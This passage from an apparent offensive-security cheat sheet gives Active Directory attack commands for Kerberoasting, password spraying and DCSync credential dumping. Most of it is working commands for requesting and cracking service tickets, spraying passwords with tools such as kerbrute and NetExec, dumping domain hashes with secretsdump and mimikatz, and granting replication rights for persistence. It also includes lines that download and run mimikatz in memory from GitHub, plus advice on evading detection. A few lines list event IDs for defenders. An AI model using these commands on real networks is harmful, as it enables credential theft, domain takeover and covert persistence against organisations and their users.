# Kerberoast specific SPN
.\Rubeus.exe kerberoast /spn:MSSQLSvc/sql01.corp.local:1433 /format:hashcat
# === TARGETED KERBEROASTING ===
# Kerberoast users in specific group
Get-DomainUser -SPN | ?{$_.memberof -match "IT Admins"}
# Kerberoast users with adminCount=1
Get-DomainUser -SPN -AdminCount | Select-Object samaccountname,serviceprincipalname
# Kerberoast users with old passwords
Get-DomainUser -SPN | Where-Object {$_.pwdlastset -lt (Get-Date).AddYears(-1)}
# === INVOKE-KERBEROAST (POWERVIEW) ===
# Basic Kerberoast
Invoke-Kerberoast -OutputFormat Hashcat | Select-Object Hash | Out-File -FilePath kerberoast_hashes.txt
# Specific user
Invoke-Kerberoast -Identity svcaccount -OutputFormat Hashcat
# All users
Invoke-Kerberoast -Domain corp.local -OutputFormat Hashcat
# === CRACKING KERBEROAST HASHES ===
# Hashcat TGS-REP (mode 13100 for RC4, 19600/19700 for AES)
hashcat -m 13100 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt --force
# Hashcat with rules
hashcat -m 13100 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force
# Hashcat with mask attack
hashcat -m 13100 kerberoast_hashes.txt -a 3 ?u?l?l?l?l?l?l?l?d?d?d?d --force
# AES256 hashes (if AES tickets were requested)
hashcat -m 19700 kerberoast_aes256_hashes.txt /usr/share/wordlists/rockyou.txt --force
# John the Ripper
john --wordlist=/usr/share/wordlists/rockyou.txt kerberoast_hashes.txt
# Show cracked passwords
hashcat -m 13100 kerberoast_hashes.txt --show
john --show kerberoast_hashes.txt
# === ROASTING OPSEC ===
# Request tickets during business hours (blend in)
# Limit number of requests (avoid detection)
# Consider requesting only specific high-value accounts
# AES tickets are harder to crack but generate same logs
# Monitor for event IDs:
# 4769 - Kerberos service ticket was requested
# 4770 - Kerberos service ticket was renewed
Password Spraying
## === CONCEPT ===
# Try single password against many accounts
# Avoid account lockout by respecting lockout policy
# Common during initial access
# === CHECK LOCKOUT POLICY ===
# Windows
net accounts /domain
Get-ADDefaultDomainPasswordPolicy
# Linux
nxc smb DC_IP -u jsmith -p 'Welcome123!' --pass-pol
ldapsearch -x -H ldap://DC_IP -D "jsmith@corp.local" -w 'Welcome123!' -b "DC=corp,DC=local" "(objectClass=domainDNS)" lockoutThreshold pwdProperties
# Check specific user's bad password count
net user jsmith /domain | findstr "Bad"
Get-ADUser jsmith -Properties badpwdcount | Select-Object badpwdcount
# === BUILDING USER LIST ===
# Extract from LDAP
ldapsearch -x -H ldap://DC_IP -b "DC=corp,DC=local" "(objectClass=user)" sAMAccountName | grep sAMAccountName | awk '{print $2}' > users.txt
# PowerView
Get-DomainUser | Select-Object -ExpandProperty samaccountname > users.txt
# From email format (common pattern)
# firstname.lastname@company.com -> firstname.lastname
cat emails.txt | cut -d '@' -f1 > users.txt
# RID cycling
lookupsid.py corp.local/jsmith:Welcome123!@DC_IP | grep SidTypeUser | awk '{print $2}' > users.txt
# NetExec
nxc ldap DC_IP -u jsmith -p 'Welcome123!' --users | grep -oP '(?<=\\).*(?= )' > users.txt
# === KERBRUTE PASSWORD SPRAYING ===
# Basic password spray
kerbrute passwordspray -d corp.local --dc DC_IP users.txt 'Welcome2024!'
# Multiple passwords (delay between attempts)
for pass in 'Welcome2024!' 'Spring2024!' 'Summer2024!'; do
echo "[*] Testing: $pass"
kerbrute passwordspray -d corp.local --dc DC_IP users.txt "$pass"
echo "[*] Sleeping 30 minutes to avoid lockout"
sleep 1800
done
# Verbose output
kerbrute passwordspray -d corp.local --dc DC_IP users.txt 'Welcome2024!' -v
# Save valid credentials
kerbrute passwordspray -d corp.local --dc DC_IP users.txt 'Welcome2024!' -o valid_creds.txt
# === NETEXEC PASSWORD SPRAYING ===
# SMB password spray
nxc smb DC_IP -u users.txt -p 'Welcome2024!' --continue-on-success
# Multiple passwords (one at a time)
nxc smb DC_IP -u users.txt -p passwords.txt --no-bruteforce --continue-on-success
# LDAP password spray (less noisy than SMB)
nxc ldap DC_IP -u users.txt -p 'Welcome2024!' --continue-on-success
# WinRM password spray
nxc winrm 10.10.10.0/24 -u users.txt -p 'Welcome2024!' --continue-on-success
# With domain specification
nxc smb DC_IP -u users.txt -p 'Welcome2024!' -d corp.local --continue-on-success
# === SPRAYKATZ ===
# Password spray with automatic lockout threshold detection
python3 spraykatz.py -u users.txt -p 'Welcome2024!' -t DC_IP
# === DOMAINPASSWORDSPRAY (POWERSHELL) ===
# Import module
IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/dafthack/DomainPasswordSpray/master/DomainPasswordSpray.ps1')
# Automatic user enumeration and spray
Invoke-DomainPasswordSpray -Password 'Welcome2024!'
# Custom user list
Invoke-DomainPasswordSpray -UserList users.txt -Password 'Welcome2024!'
# Multiple passwords with delay
Invoke-DomainPasswordSpray -UserList users.txt -PasswordList passwords.txt -Delay 30 -Jitter 5
# Check for accounts about to lock out
Invoke-DomainPasswordSpray -Password 'Welcome2024!' -CheckAccountsNearLockout
# === INVOKE-PASSWORDSPRAY (MAILSNIPER) ===
# Spray against OWA/O365
Invoke-PasswordSpray -ExchangeVersion 2016 -Pass 'Welcome2024!' -UserList users.txt -Threads 15 -OutFile valid_creds.txt
# === COMMON PASSWORD PATTERNS ===
# Seasonal passwords
# Winter2024!, Spring2024!, Summer2024!, Fall2024!
# Company name + season/year
# Acme2024!, AcmeWinter24!
# Welcome/Password + complexity
# Welcome123!, Password1!, Welcome2024!
# Month + year
# January2024!, Feb2024!
# Generate password list based on company info
echo "Acme2024!" >> passwords.txt
echo "Acme@2024" >> passwords.txt
echo "Welcome2024!" >> passwords.txt
# === OPSEC CONSIDERATIONS ===
# Calculate safe spray interval
# Example: Lockout threshold = 5, Lockout duration = 30 min
# Safe interval: 30 minutes between attempts per user
# Monitor for lockouts during spray
# Event ID 4740 - Account was locked out
# Adjust strategy if lockouts detected
# Spray during business hours (blends with normal authentication)
# Avoid spraying same account multiple times quickly
# Use different source IPs if possible
# Rotate through multiple attacking hosts
# === VALIDATION AND EXPLOITATION ===
# Validate credentials
nxc smb DC_IP -u validuser -p 'ValidPass123!'
# Check if user has admin rights
nxc smb 10.10.10.0/24 -u validuser -p 'ValidPass123!' --local-auth
nxc smb 10.10.10.0/24 -u validuser -p 'ValidPass123!' --shares
# Request TGT
getTGT.py corp.local/validuser:'ValidPass123!'
.\Rubeus.exe asktgt /user:validuser /password:ValidPass123! /ptt
# === POST-SPRAY ENUMERATION ===
# Enumerate accessible shares
nxc smb 10.10.10.0/24 -u validuser -p 'ValidPass123!' --shares
# Check WinRM access
nxc winrm 10.10.10.0/24 -u validuser -p 'ValidPass123!'
# Enumerate with valid credentials
bloodhound-python -u validuser -p 'ValidPass123!' -d corp.local -ns DC_IP -c All
DCSync Attack
## === CONCEPT ===
# Impersonate Domain Controller to request password data
# Requires specific AD permissions:
# - DS-Replication-Get-Changes (GUID: 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2)
# - DS-Replication-Get-Changes-All (GUID: 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2)
# Usually granted to Domain Admins, Enterprise Admins, Domain Controllers
# === CHECK DCSYNC RIGHTS ===
# PowerView - Check if user has DCSync rights
Get-DomainObjectAcl -SearchBase "DC=corp,DC=local" -ResolveGUIDs | Where-Object {($_.ObjectAceType -match 'replication') -and ($_.ActiveDirectoryRights -match 'GenericAll')}
# PowerView - Check specific user
Get-DomainObjectAcl -Identity "DC=corp,DC=local" -ResolveGUIDs | Where-Object {$_.SecurityIdentifier -eq (Get-DomainUser jsmith).objectsid}
# BloodHound Cypher
MATCH (u:User)-[:DCSync]->(d:Domain) RETURN u
# Check current user's permissions
Get-DomainObjectAcl -Identity "DC=corp,DC=local" -ResolveGUIDs | Where-Object {$_.SecurityIdentifier -eq ([System.Security.Principal.WindowsIdentity]::GetCurrent().User.Value)}
# === IMPACKET SECRETSDUMP (DCSYNC) ===
# Dump all domain hashes
secretsdump.py corp.local/Administrator:'Welcome123!'@DC_IP
# Dump specific user
secretsdump.py corp.local/Administrator:'Welcome123!'@DC_IP -just-dc-user krbtgt
secretsdump.py corp.local/Administrator:'Welcome123!'@DC_IP -just-dc-user Administrator
# With NTLM hash (Pass-the-Hash)
secretsdump.py -hashes :NTLM_HASH corp.local/Administrator@DC_IP
# With Kerberos ticket
export KRB5CCNAME=administrator.ccache
secretsdump.py -k -no-pass corp.local/Administrator@DC_IP
# Dump NTDS.dit (all users)
secretsdump.py corp.local/Administrator:'Welcome123!'@DC_IP -just-dc-ntlm
# Output to file
secretsdump.py corp.local/Administrator:'Welcome123!'@DC_IP -just-dc-ntlm -outputfile dcsync_hashes
# Dump user history (previous passwords)
secretsdump.py corp.local/Administrator:'Welcome123!'@DC_IP -history
# Dump computer accounts
secretsdump.py corp.local/Administrator:'Welcome123!'@DC_IP -just-dc-ntlm -computer
# === NETEXEC DCSYNC ===
# Dump all hashes
nxc smb DC_IP -u Administrator -p 'Welcome123!' --ntds
# Dump to file
nxc smb DC_IP -u Administrator -p 'Welcome123!' --ntds --ntds-pwdLastSet --ntds-history
# With NTLM hash
nxc smb DC_IP -u Administrator -H NTLM_HASH --ntds
# Dump specific user
nxc smb DC_IP -u Administrator -p 'Welcome123!' --ntds --user krbtgt
# === MIMIKATZ DCSYNC ===
# Dump specific user
.\mimikatz.exe "lsadump::dcsync /user:corp\krbtgt" "exit"
.\mimikatz.exe "lsadump::dcsync /user:corp\Administrator" "exit"
# Dump all users
.\mimikatz.exe "lsadump::dcsync /domain:corp.local /all /csv" "exit"
# Specify domain controller
.\mimikatz.exe "lsadump::dcsync /user:corp\krbtgt /dc:dc01.corp.local" "exit"
# From PowerShell
.\mimikatz.exe privilege::debug "lsadump::dcsync /user:corp\Administrator" exit
# === INVOKE-MIMIKATZ (POWERSHELL) ===
# Load in memory
IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1')
# DCSync krbtgt
Invoke-Mimikatz -Command '"lsadump::dcsync /user:corp\krbtgt"'
# DCSync all domain hashes
Invoke-Mimikatz -Command '"lsadump::dcsync /domain:corp.local /all /csv"'
# === GRANTING DCSYNC RIGHTS (PERSISTENCE) ===
# PowerView - Grant DCSync rights to user
Add-DomainObjectAcl -TargetIdentity "DC=corp,DC=local" -PrincipalIdentity jsmith -Rights DCSync
# Verify rights were granted
Get-DomainObjectAcl -SearchBase "DC=corp,DC=local" -ResolveGUIDs | Where-Object {$_.SecurityIdentifier -eq (Get-DomainUser jsmith).objectsid}
# === DETECTING DCSYNC ===
# Monitor for Event ID 4662 (AD object access)
# Source: Domain Controller
# Object Type: {19195a5b-6da0-11d0-afd3-00c04fd930c9} (Domain)
# Access: Replicating Directory Changes
# Monitor for unusual DRS (Directory Replication Service) activity
# Network traffic: TCP 135, 445 (RPC/SMB)
# === EXPLOITATION NOTES ===
# After DCSync, you have:
# - All user NTLM hashes (pass-the-hash)
# - krbtgt hash (golden ticket)
# - Computer account hashes
# - Service account hashes (Kerberoasting targets)
# Extract specific hashes from output
cat dcsync_hashes.ntds | grep Administrator
cat dcsync_hashes.ntds | grep krbtgt
# Format for hashcat/john
cat dcsync_hashes.ntds | cut -d ':' -f4 > ntlm_hashes.txt
# === MITIGATION DETECTION ===
# DCSync generates specific events:
# 4662 - Directory Service Access (with replication properties)
# 4624 - Account Logon (from attacker machine)
# 5136 - Directory Service Object Modified (if granting rights)